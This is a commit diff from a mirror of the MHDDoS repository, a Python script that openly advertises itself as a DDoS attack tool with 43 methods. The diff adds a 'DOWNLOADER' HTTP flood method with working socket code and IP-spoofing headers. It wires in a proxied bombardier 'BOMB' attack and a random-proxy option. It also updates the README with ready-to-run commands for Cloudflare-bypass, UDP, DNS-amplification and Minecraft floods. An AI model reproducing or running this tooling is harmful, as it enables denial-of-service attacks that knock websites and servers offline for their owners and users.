mirror of https://github.com/MatrixTM/MHDDoS.git
fixed layer4, added proxy type 6 from random selection
This commit is contained in:
parent
f673825b2e
commit
910427d2e9
|
|
@ -1,13 +1,13 @@
|
|||
# Bombardier with proxy
|
||||
Adopted from [github.com/mariotrucco/bombardier@78-add-proxy-support](github.com/mariotrucco/bombardier@78-add-proxy-support)
|
||||
|
||||
## Installation
|
||||
```shell script
|
||||
mkdir bombardier_tmp
|
||||
cd bombardier_tmp
|
||||
go mod init bombardier_tmp
|
||||
go mod edit -replace github.com/codesenberg/bombardier=github.com/mariotrucco/bombardier@78-add-proxy-support
|
||||
go get github.com/codesenberg/bombardier
|
||||
cd ..
|
||||
rm -r bombardier_tmp
|
||||
```
|
||||
# Bombardier with proxy
|
||||
Adopted from github.com/mariotrucco/bombardier@78-add-proxy-support
|
||||
|
||||
## Installation
|
||||
```shell script
|
||||
mkdir bombardier_tmp
|
||||
cd bombardier_tmp
|
||||
go mod init bombardier_tmp
|
||||
go mod edit -replace github.com/codesenberg/bombardier=github.com/mariotrucco/bombardier@78-add-proxy-support
|
||||
go get github.com/codesenberg/bombardier
|
||||
cd ..
|
||||
rm -r bombardier_tmp
|
||||
```
|
||||
43
README.md
43
README.md
|
|
@ -1,6 +1,6 @@
|
|||
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="aventium softworks"></p>
|
||||
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 40 Methods</h1>
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 43 Methods</h1>
|
||||
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
|
||||
|
||||
<p align="center">
|
||||
|
|
@ -39,7 +39,7 @@
|
|||
* <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare"> CFB | CloudFlare Bypass
|
||||
* <img src="https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730" width="16" height="16" alt="CloudFlare UnderAttack Mode"> CFBUAM | CloudFlare Under Attack Mode Bypass
|
||||
* <img src="http://iclouddnsbypass.com/wp-content/uploads/2015/02/iCloudDNSBypassServer.ico" width="16" height="16" alt="bypass"> BYPASS | Bypass Normal AntiDDoS
|
||||
* <img src="https://cdn-icons-png.flaticon.com/512/905/905568.png" width="16" height="16" alt="bypass"> <a href="BOMBARDIER.md">BOMB</a> | Bypass with [codesenberg/bombardier
|
||||
* <img src="https://cdn-icons-png.flaticon.com/512/905/905568.png" width="16" height="16" alt="bypass"> BOMB | Bypass with codesenberg/bombardier
|
||||
|
||||
|
||||
* 🧨 Layer4:
|
||||
|
|
@ -95,9 +95,8 @@ You can download it from [GitHub Releases](https://github.com/MHProDev/MHDDoS/re
|
|||
* [psutil](https://github.com/giampaolo/psutil)
|
||||
* [dnspython](https://github.com/rthalley/dnspython)
|
||||
* [yarl](https://github.com/aio-libs/yarl)
|
||||
* [bombardier](https://github.com/mariotrucco/bombardier@78-add-proxy-support) (Optional)
|
||||
---
|
||||
Optional
|
||||
* [bombardier with proxy](BOMBARDIER.md)
|
||||
|
||||
**Videos**
|
||||
|
||||
|
|
@ -120,13 +119,15 @@ pip install -r requirements.txt
|
|||
|
||||
|
||||
## Launch Script
|
||||
* Proxy Types:
|
||||
|
||||
| Proxy Type | Value |
|
||||
| ----------------- | -------- |
|
||||
| All Proxy | 0 |
|
||||
| HTTP | 1 |
|
||||
| SOCKS4 | 4 |
|
||||
| SOCKS5 | 5 |
|
||||
| Proxy Type | Value |
|
||||
|------------|-------|
|
||||
| All Proxy | 0 |
|
||||
| HTTP | 1 |
|
||||
| SOCKS4 | 4 |
|
||||
| SOCKS5 | 5 |
|
||||
| RANDOM | 6 |
|
||||
|
||||
* Layer7 (Website):
|
||||
```shell script
|
||||
|
|
@ -135,21 +136,27 @@ pip install -r requirements.txt
|
|||
python start.py bypass https://example.com 5 101 socks5.txt 100 3600
|
||||
# Running bomb attack from 50 threads (be careful must be < 300)
|
||||
# with all proxies (0), 100 requests per proxy (connection), for 3600 seconds
|
||||
python start.py bomb https://example.com 0 50 proxy.txt 100 3600
|
||||
python start.py bypass https://example.com 5 101 socks5.txt 100 3600
|
||||
```
|
||||
|
||||
* Layer4 (Server/Home):
|
||||
```shell script
|
||||
# Running udp attack from 100 threads,
|
||||
# with socks 5, 100 requests per proxy (connection), for 3600 seconds
|
||||
python start.py udp 1.1.1.1:53 100 3600 socks5.txt 5
|
||||
python start.py dns 1.1.1.1:53 100 3600 socks5.txt 5 dns.txt
|
||||
# Running udp attack from 1 threads, for 3600 seconds
|
||||
python start.py udp 1.1.1.1:53 1 3600
|
||||
# Running dns attack from 100 threads, for 3600 seconds
|
||||
# with reflector servers from dns.txt, for 3600 seconds
|
||||
python start.py dns 1.1.1.1:53 100 3600 dns.txt
|
||||
# Running dns attack from 1000 threads
|
||||
# with socks 5, for 3600 seconds
|
||||
python start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt
|
||||
```
|
||||
|
||||
* Debug Mode (L4/L7):
|
||||
* Debug Mode (Log Attack status):
|
||||
```shell script
|
||||
python start.py bypass https://example.com 5 101 socks5.txt 100 3600 true
|
||||
python start.py udp 1.1.1.1:53 100 3600 socks5.txt 5
|
||||
python start.py bypass https://example.com 5 1000 socks5.txt 100 100 true
|
||||
python start.py udp 1.1.1.1:53 1 100 true
|
||||
python start.py dns 1.1.1.1:53 1 100 dns.txt true
|
||||
python start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true
|
||||
```
|
||||
|
||||
* Tools/Help:
|
||||
|
|
|
|||
46
start.py
46
start.py
|
|
@ -78,7 +78,7 @@ class Methods:
|
|||
LAYER7_METHODS: Set[str] = {
|
||||
"CFB", "BYPASS", "GET", "POST", "OVH", "STRESS", "DYN", "SLOW", "HEAD",
|
||||
"NULL", "COOKIE", "PPS", "EVEN", "GSB", "DGB", "AVB", "CFBUAM",
|
||||
"APACHE", "XMLRPC", "BOT", "BOMB"
|
||||
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER"
|
||||
}
|
||||
|
||||
LAYER4_METHODS: Set[str] = {
|
||||
|
|
@ -731,6 +731,31 @@ class HttpFlood(Thread):
|
|||
except Exception:
|
||||
s.close()
|
||||
|
||||
def DOWNLOADER(self):
|
||||
global bytes_sent, REQUESTS_SENT
|
||||
payload: str | bytes = self._payload
|
||||
payload += "Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6),
|
||||
self._target.authority)
|
||||
payload += self.randHeadercontent
|
||||
payload += self.SpoofIP
|
||||
payload = str.encode(f"{payload}\r\n")
|
||||
try:
|
||||
with self.open_connection() as s:
|
||||
for _ in range(self._rpc):
|
||||
if s.send(payload):
|
||||
REQUESTS_SENT += 1
|
||||
bytes_sent += len(payload)
|
||||
while 1:
|
||||
sleep(.01)
|
||||
data = s.recv(1)
|
||||
if not data:
|
||||
break
|
||||
s.send(b'0')
|
||||
bytes_sent += 1
|
||||
|
||||
except Exception:
|
||||
s.close()
|
||||
|
||||
def BYPASS(self):
|
||||
global REQUESTS_SENT, bytes_sent
|
||||
pro = None
|
||||
|
|
@ -854,12 +879,15 @@ class HttpFlood(Thread):
|
|||
self._defaultpayload +
|
||||
"Host: %s\r\n\r\n" % self._target.authority).encode()
|
||||
if name == "EVEN": self.SENT_FLOOD = self.EVEN
|
||||
if name == "DOWNLOADER": self.SENT_FLOOD = self.DOWNLOADER
|
||||
if name == "BOMB": self.SENT_FLOOD = self.BOMB
|
||||
|
||||
def BOMB(self):
|
||||
pro = randchoice(self._proxies)
|
||||
|
||||
run([
|
||||
f'{Path.home() / "go/bin/bombardier"}',
|
||||
f'{bombardier_path}',
|
||||
f'--connections={self._rpc}',
|
||||
'--http2',
|
||||
'--method=GET',
|
||||
|
|
@ -1110,7 +1138,7 @@ class ToolsConsole:
|
|||
@staticmethod
|
||||
def usage():
|
||||
print((
|
||||
'* MHDDoS - DDoS Attack Script With 40 Methods\n'
|
||||
'* MHDDoS - DDoS Attack Script With %d Methods\n'
|
||||
'Note: If the Proxy list is empty, the attack will run without proxies\n'
|
||||
' If the Proxy file doesn\'t exist, the script will download proxies and check them.\n'
|
||||
' Proxy Type 0 = All in config.json\n'
|
||||
|
|
@ -1137,7 +1165,8 @@ class ToolsConsole:
|
|||
' L4 Proxied: python3 %s <method> <ip:port> <threads> <duration> <socks_type> <proxylist>\n'
|
||||
' L4 Amplification: python3 %s <method> <ip:port> <threads> <duration> <reflector file (only use with'
|
||||
' Amplification)>\n') %
|
||||
(", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
|
||||
(len(Methods.ALL_METHODS) + 3 + len(ToolsConsole.METHODS),
|
||||
", ".join(Methods.LAYER4_METHODS), len(Methods.LAYER4_METHODS),
|
||||
", ".join(Methods.LAYER7_METHODS), len(Methods.LAYER7_METHODS),
|
||||
", ".join(ToolsConsole.METHODS), len(ToolsConsole.METHODS),
|
||||
", ".join(["TOOLS", "HELP", "STOP"]), 3,
|
||||
|
|
@ -1253,8 +1282,18 @@ if __name__ == '__main__':
|
|||
argv[5].strip())
|
||||
useragent_li = Path(__dir__ / "files/useragent.txt")
|
||||
referers_li = Path(__dir__ / "files/referers.txt")
|
||||
bombardier_path = Path(__dir__ / "go/bin/bombardier")
|
||||
proxies: Any = set()
|
||||
|
||||
if method == "BOMB":
|
||||
assert (
|
||||
bombardier_path.exists()
|
||||
or bombardier_path.with_suffix('.exe').exists()
|
||||
), (
|
||||
"Install bombardier: "
|
||||
"https://github.com/MHProDev/MHDDoS/tree/main/.github/BOMBARDIER.md"
|
||||
)
|
||||
|
||||
if len(argv) == 9:
|
||||
logger.setLevel("DEBUG")
|
||||
|
||||
|
|
@ -1307,7 +1346,6 @@ if __name__ == '__main__':
|
|||
logger.warning("Port Not Selected, Set To Default: 80")
|
||||
port = 80
|
||||
|
||||
|
||||
if len(argv) >= 6:
|
||||
argfive = argv[5].strip()
|
||||
if argfive:
|
||||
|
|
|
|||
Loading…
Reference in New Issue